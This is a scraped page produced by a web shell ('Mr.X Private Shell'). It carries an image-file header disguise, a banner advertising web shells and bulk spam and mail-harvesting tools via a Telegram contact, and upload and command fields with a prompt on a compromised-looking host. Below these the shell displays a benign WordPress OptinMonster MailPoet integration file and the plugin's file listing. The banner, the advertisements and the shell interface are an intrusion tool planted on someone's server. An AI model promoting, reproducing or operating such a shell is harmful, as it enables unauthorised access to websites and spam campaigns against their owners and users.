����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

bkunreyz@216.73.217.13: ~ $
<?php
/**
 * Mailpoet integration class.
 *
 * @since 1.9.10
 *
 * @package OMAPI
 * @author  Justin Sternberg
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Mailpoet integration class.
 *
 * @since 1.9.10
 */
class OMAPI_MailPoet {

	/**
	 * Check to see if Mailpoet is active.
	 *
	 * @since 1.2.3
	 *
	 * @return bool
	 */
	public static function is_active() {
		return class_exists( 'WYSIJA_object' ) || class_exists( 'MailPoet\\API\\API' );
	}

	/**
	 * Returns the available MailPoet lists.
	 *
	 * @since 1.0.0
	 *
	 * @return array An array of MailPoet lists.
	 */
	public function get_lists() {

		// Prepare variables.
		$mailpoet    = null;
		$lists       = array();
		$ret         = array();
		$list_id_key = 'id';

		// Get lists. Check for MailPoet 3 first. Default to legacy.
		if ( class_exists( '\\MailPoet\\Config\\Initializer' ) ) {
			/**
			 * Get the MailPoet lists.
			 *
			 * @see https://github.com/mailpoet/mailpoet/blob/c8fa9f007fd6fa39c17cd45e919566726a0578d7/doc/api_methods/GetLists.md
			 */
			$lists = \MailPoet\API\API::MP( 'v1' )->getLists();
		} else {
			$mailpoet    = WYSIJA::get( 'list', 'model' );
			$lists       = $mailpoet->get( array( 'name', 'list_id' ), array( 'is_enabled' => 1 ) );
			$list_id_key = 'list_id';
		}

		// Add default option.
		$ret[] = array(
			'name'  => esc_html__( 'Select your MailPoet list...', 'optin-monster-api' ),
			'value' => 'none',
		);

		// Loop through the list data and add to array.
		foreach ( (array) $lists as $list ) {
			$ret[] = array(
				'name'  => $list['name'],
				'value' => $list[ $list_id_key ],
			);
		}

		/**
		 * Filters the MailPoet lists.
		 *
		 * @param array       $ret      The MailPoet lists array.
		 * @param array       $lists    The raw MailPoet lists array. Format differs by plugin verison.
		 * @param WYSIJA|null $mailpoet The MailPoet object if using legacy. Null otherwise.
		 */
		return apply_filters( 'optin_monster_api_mailpoet_lists', $ret, $lists, $mailpoet );
	}

	/**
	 * Returns the available MailPoet subscriber fields.
	 *
	 * @see https://github.com/mailpoet/mailpoet/blob/c8fa9f007fd6fa39c17cd45e919566726a0578d7/doc/api_methods/GetSubscriberFields.md
	 *
	 * @since 1.9.8
	 *
	 * @return array An array of MailPoet subscriber fields.
	 */
	public function get_subscriber_fields() {
		// Get lists. Check for MailPoet 3.
		return class_exists( '\\MailPoet\\Config\\Initializer' )
			? \MailPoet\API\API::MP( 'v1' )->getSubscriberFields()
			: array();
	}

	/**
	 * Returns the available MailPoet custom fields formatted for dropdown.
	 *
	 * @since 1.9.8
	 *
	 * @return array An array of MailPoet custom fields.
	 */
	public function get_custom_fields_dropdown_values() {
		// Prepare variables.
		$ret            = array();
		$default_fields = array( 'email', 'first_name', 'last_name' );

		// Add default option.
		$ret[] = array(
			'name'  => esc_html__( 'Select the custom field...', 'optin-monster-api' ),
			'value' => '',
		);

		$subscriber_fields = $this->get_subscriber_fields();

		// Loop through the list data and add to array.
		foreach ( (array) $subscriber_fields as $subscriber_field ) {
			if ( in_array( $subscriber_field['id'], $default_fields, true ) ) {
				continue;
			}

			$ret[] = array(
				'name'  => $subscriber_field['name'],
				'value' => $subscriber_field['id'],
			);
		}

		/**
		 * Filters the MailPoet custom fields.
		 *
		 * @param array. $ret               The MailPoet custom fields array, except
		 *                                  first name, last name and email
		 * @param array. $subscriber_fields The raw MailPoet subscriber fields array.
		 *                                  Format differs by plugin verson.
		 */
		return apply_filters( 'optin_monster_api_mailpoet_custom_fields', $ret, $subscriber_fields );
	}

	/**
	 * Opts the user into MailPoet.
	 *
	 * @since 1.0.0
	 */
	public function handle_ajax_call() {
		/*
		 * Check the nonce is correct first.
		 *
		 * As this is a front end form to store the visitor's data in a mailing
		 * list no capability check is required.
		 */
		check_ajax_referer( 'omapi', 'nonce' );

		// Prepare variables.
		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
		$optin_data = ! empty( $_REQUEST['optinData'] ) && is_array( $_REQUEST['optinData'] ) ? wp_unslash( $_REQUEST['optinData'] ) : array();
		$data       = array_merge( $_REQUEST, $optin_data );
		unset( $data['optinData'] );

		$optin = OMAPI::get_instance()->get_optin_by_slug( stripslashes( $data['optin'] ) );
		$list  = get_post_meta( $optin->ID, '_omapi_mailpoet_list', true );

		$user = $this->prepare_subscriber_data( $optin, $data );

		// Store the data.
		$data = array(
			'user'      => $user,
			'user_list' => array( 'list_ids' => array( $list ) ),
		);

		/**
		 * Filters the data before saving to MailPoet.
		 *
		 * @param array  $data    The data to save.
		 * @param array  $request Deprecated. Use $_REQUEST instead.
		 * @param string $list    The list to add the lead.
		 */
		$data = apply_filters( 'optin_monster_pre_optin_mailpoet', $data, array(), $list );

		// Save the subscriber. Check for MailPoet 3 first. Default to legacy.
		if ( class_exists( 'MailPoet\\API\\API' ) ) {
			// Customize the lead data for MailPoet 3.
			if ( isset( $user['firstname'] ) ) {
				$user['first_name'] = $user['firstname'];
				unset( $user['firstname'] );
			}

			if ( isset( $user['lastname'] ) ) {
				$user['last_name'] = $user['lastname'];
				unset( $user['lastname'] );
			}

			try {
				/**
				 * Try to find the subscriber by email.
				 *
				 * @see https://github.com/mailpoet/mailpoet/blob/c8fa9f007fd6fa39c17cd45e919566726a0578d7/doc/api_methods/GetSubscriber.md
				 */
				$subscriber = \MailPoet\API\API::MP( 'v1' )->getSubscriber( $user['email'] );
			} catch ( Exception $e ) {
				$subscriber = false;
			}

			try {
				if ( $subscriber ) {
					/**
					 * Subscribe the existing subscriber to the list.
					 *
					 * @see https://github.com/mailpoet/mailpoet/blob/c8fa9f007fd6fa39c17cd45e919566726a0578d7/doc/api_methods/SubscribeToList.md
					 */
					\MailPoet\API\API::MP( 'v1' )->subscribeToList( $subscriber['email'], $list );
				} else {
					/**
					 * Add a new subscriber.
					 *
					 * @see https://github.com/mailpoet/mailpoet/blob/c8fa9f007fd6fa39c17cd45e919566726a0578d7/doc/api_methods/AddSubscriber.md
					 */
					\MailPoet\API\API::MP( 'v1' )->addSubscriber( $user, array( $list ) );
				}
			} catch ( Exception $e ) {
				return wp_send_json_error( $e->getMessage(), 400 );
			}
		} else {
			$user_helper = WYSIJA::get( 'user', 'helper' );
			$user_helper->addSubscriber( $data );
		}

		// Send back a response.
		wp_send_json_success();
	}

	/**
	 * Prepares the subscriber data that will be inserted/updated into the Mailpoet's API.
	 *
	 * @since 2.16.3
	 *
	 * @param WP_Post $optin The optin object.
	 * @param array   $data  The lead data from the optin request.
	 *
	 * @return array         The updated subscriber data.
	 */
	protected function prepare_subscriber_data( $optin, $data ) {
		$email = ! empty( $data['email'] ) ? stripslashes( $data['email'] ) : false;
		$name  = ! empty( $data['name'] ) ? stripslashes( $data['name'] ) : false;

		$user = array();

		// Possibly split name into first and last.
		if ( $name ) {
			$names = explode( ' ', $name );
			if ( isset( $names[0] ) ) {
				$user['firstname'] = $names[0];
			}

			if ( isset( $names[1] ) ) {
				$user['lastname'] = $names[1];
			}
		}

		// Save the email address.
		$user['email'] = $email;

		// Save the custom fields data into user array.
		$user += $this->prepare_lead_custom_fields( $data, $optin->ID );

		return $user;
	}

	/**
	 * Prepares and returns the custom fields to be sent to Mailpoet.
	 *
	 * @since 2.16.3
	 *
	 * @param array $data     The request data.
	 * @param int   $optin_id The optin ID.
	 *
	 * @return array          The updated user data containing the custom fields and values as they will be sent to Mailpoet.
	 */
	protected function prepare_lead_custom_fields( $data, $optin_id ) {
		$custom_fields = $this->get_lead_custom_fields( $optin_id, $data );

		if ( empty( $custom_fields ) ) {
			// If there's nothing to map, return an empty array.
			return array();
		}

		$parsed_custom_fields = array();

		$mapped_custom_fields      = get_post_meta( $optin_id, '_omapi_mailpoet_mapped_fields', true );
		$should_auto_create_fields = get_post_meta( $optin_id, '_omapi_mailpoet_fields_auto_create', true );

		// Save a copy of the mapped fields as they saved in the database.
		$saved_mapped_fields = $mapped_custom_fields;

		$mp_fields       = $this->get_subscriber_fields();
		$mp_fields_by_id = array();
		foreach ( $mp_fields as $field ) {
			$mp_fields_by_id[ $field['id'] ] = $field;
		}

		if ( empty( $mapped_custom_fields ) ) {
			$mapped_custom_fields = array();
		}

		// Keep old phone field mapping for backward compatibility.
		$legacy_phone_field_mapping = get_post_meta( $optin_id, '_omapi_mailpoet_phone_field', true );
		if ( ! empty( $legacy_phone_field_mapping ) ) {
			// If there's a mapping for the phone field that means we already set the legacy mapping or the user manually
			// set a different mapping. That means we don't need to set the legacy mapping.
			if ( empty( $mapped_custom_fields['lead.phoneInput'] ) ) {
				$mapped_custom_fields['lead.phoneInput'] = $legacy_phone_field_mapping;
			}
		}

		foreach ( $custom_fields as $field_id => $field ) {

			if ( empty( $mapped_custom_fields[ $field_id ] ) && ! $should_auto_create_fields ) {
				// If the field is not mapped and auto field creation is disabled, skip it.
				continue;
			}

			$field_key = '';

			if ( ! empty( $mapped_custom_fields[ $field_id ] ) && ! empty( $mp_fields_by_id[ $mapped_custom_fields[ $field_id ] ] ) ) {
				// If the field is already mapped and the mapped field exists, use the mapped field.
				$field_key = $mapped_custom_fields[ $field_id ];
			} elseif ( $should_auto_create_fields ) {
				// If the field is not mapped, but auto field creation is enabled, create and map the field.

				// Create the custom field in MailPoet.
				$created_field = $this->create_custom_field( $field['label'], $field_id );
				$field_key     = $created_field['id'];

				// Add the new created custom field to the mapped fields meta.
				$mapped_custom_fields[ $field_id ] = $field_key;
			}

			// If the field key is empty, skip it. Safety check.
			if ( empty( $field_key ) ) {
				continue;
			}

			// If the value is an array (e.g. for checkboxes), we are converting it to a string.
			$parsed_custom_fields[ $field_key ] = is_array( $field['value'] ) ?
				implode( ', ', $field['value'] ) :
				$field['value'];
		}

		if ( $saved_mapped_fields !== $mapped_custom_fields ) {
			// Updating the mapped fields meta if new fields are added.
			update_post_meta( $optin_id, '_omapi_mailpoet_mapped_fields', $mapped_custom_fields );
		}

		return $parsed_custom_fields;
	}

	/**
	 * Returns the custom fields for the lead.
	 *
	 * @since 2.16.3
	 *
	 * @param int   $optin_id The optin ID.
	 * @param array $data The request data.
	 *
	 * @return array The custom fields for the lead.
	 */
	protected function get_lead_custom_fields( $optin_id, $data ) {
		$meta_fields = ! empty( $data['meta'] ) ? stripslashes_deep( $data['meta'] ) : array();
		$smart_tags  = ! empty( $data['tags'] ) ? stripslashes_deep( $data['tags'] ) : array();

		$optin_fields_config = get_post_meta( $optin_id, '_omapi_mailpoet_optin_fields_config', true );
		$optin_meta_fields_by_name = array();

		if ( ! empty( $optin_fields_config['meta'] ) ) {
			foreach ( $optin_fields_config['meta'] as $field_config ) {
				$optin_meta_fields_by_name[ $field_config['name'] ] = $field_config;
			}
		}

		$custom_fields = array();

		foreach ( $meta_fields as $key => $value ) {
			$field_config = ! empty( $optin_meta_fields_by_name[ $key ] ) ? $optin_meta_fields_by_name[ $key ] : array();

			$custom_fields[ 'meta.' . $key ] = array(
				'value' => $value,
				'label' => ! empty( $field_config['label'] ) ? $field_config['label'] : $key,
			);
		}

		// Add the coupon code and label to the meta fields, if exists.
		if ( ! empty( $smart_tags['coupon_code'] ) ) {
			$custom_fields['tags.couponCode']  = array(
				'value' => $smart_tags['coupon_code'],
				'label' => 'Coupon Code',
			);
			$custom_fields['tags.couponLabel']  = array(
				'value' => $smart_tags['coupon_label'],
				'label' => 'Coupon Label',
			);
		}

		// Add the privacy consent to the meta fields, if exists.
		if ( ! empty( $data['FieldsElement--privacyText-checkbox'] ) ) {
			$custom_fields['lead.privacyText'] = array(
				'value' => $data['FieldsElement--privacyText-checkbox'],
				'label' => 'Privacy Consent',
			);
		}

		// Add the phone number to the meta fields, if exists.
		if ( ! empty( $data['phone'] ) ) {
			$custom_fields['lead.phoneInput'] = array(
				'value' => $data['phone'],
				'label' => 'Phone Number',
			);
		}

		return $custom_fields;
	}

	/**
	 * Create a custom field in MailPoet.
	 *
	 * @see https://github.com/mailpoet/mailpoet/blob/trunk/doc/api_methods/AddSubscriberField.md
	 *
	 * @since 2.16.3
	 *
	 * @param string $name  The field name.
	 * @param string $label The field label.
	 *
	 * @return array        The created custom field.
	 */
	protected function create_custom_field( $name, $label ) {
		$data = array(
			'name'  => $name,
			'type'  => 'TEXT',
			'label' => $label,
		);

		// We are creating the custom fields only for Mailpoet 3 and later.
		return \MailPoet\API\API::MP( 'v1' )->addSubscriberField( $data );
	}
}

Filemanager

Name Type Size Permission Actions
EasyDigitalDownloads Folder 0755
Elementor Folder 0755
Integrations Folder 0755
MemberPress Folder 0755
Plugins Folder 0755
Promos Folder 0755
Rules Folder 0755
Shortcodes Folder 0755
WPForms Folder 0755
WooCommerce Folder 0755
Actions.php File 6.96 KB 0644
Ajax.php File 1.46 KB 0644
Api.php File 14.17 KB 0644
ApiAuth.php File 2.41 KB 0644
ApiKey.php File 5.08 KB 0644
AssetLoader.php File 5.59 KB 0644
BaseRestApi.php File 6.65 KB 0644
Blocks.php File 12.81 KB 0644
ClassicEditor.php File 6.92 KB 0644
ConstantContact.php File 7.42 KB 0644
Debug.php File 4.35 KB 0644
EasyDigitalDownloads.php File 9.33 KB 0644
Elementor.php File 5.36 KB 0644
Inserter.php File 11.29 KB 0644
InstallSkin.php File 1.35 KB 0644
InstallSkinCompat.php File 1.36 KB 0644
MailPoet.php File 13.36 KB 0644
MemberPress.php File 4.12 KB 0644
Menu.php File 16.88 KB 0644
Notifications.php File 18.47 KB 0644
OmuApi.php File 4.03 KB 0644
Output.php File 24.28 KB 0644
Pages.php File 17.61 KB 0644
Partners.php File 5.43 KB 0644
Plugins.php File 24.34 KB 0644
Promos.php File 1.11 KB 0644
Refresh.php File 5.75 KB 0644
RestApi.php File 38.58 KB 0644
RevenueAttribution.php File 2.97 KB 0644
Review.php File 1.45 KB 0644
Rules.php File 23.44 KB 0644
Save.php File 10.8 KB 0644
Shortcode.php File 3.58 KB 0644
Sites.php File 8.35 KB 0644
Support.php File 8.25 KB 0644
Type.php File 2.44 KB 0644
Urls.php File 8.64 KB 0644
Utils.php File 7.41 KB 0644
Validate.php File 9.06 KB 0644
WPForms.php File 2.6 KB 0644
Welcome.php File 4.81 KB 0644
Widget.php File 6.5 KB 0644
WooCommerce.php File 19.58 KB 0644
WpErrorException.php File 714 B 0644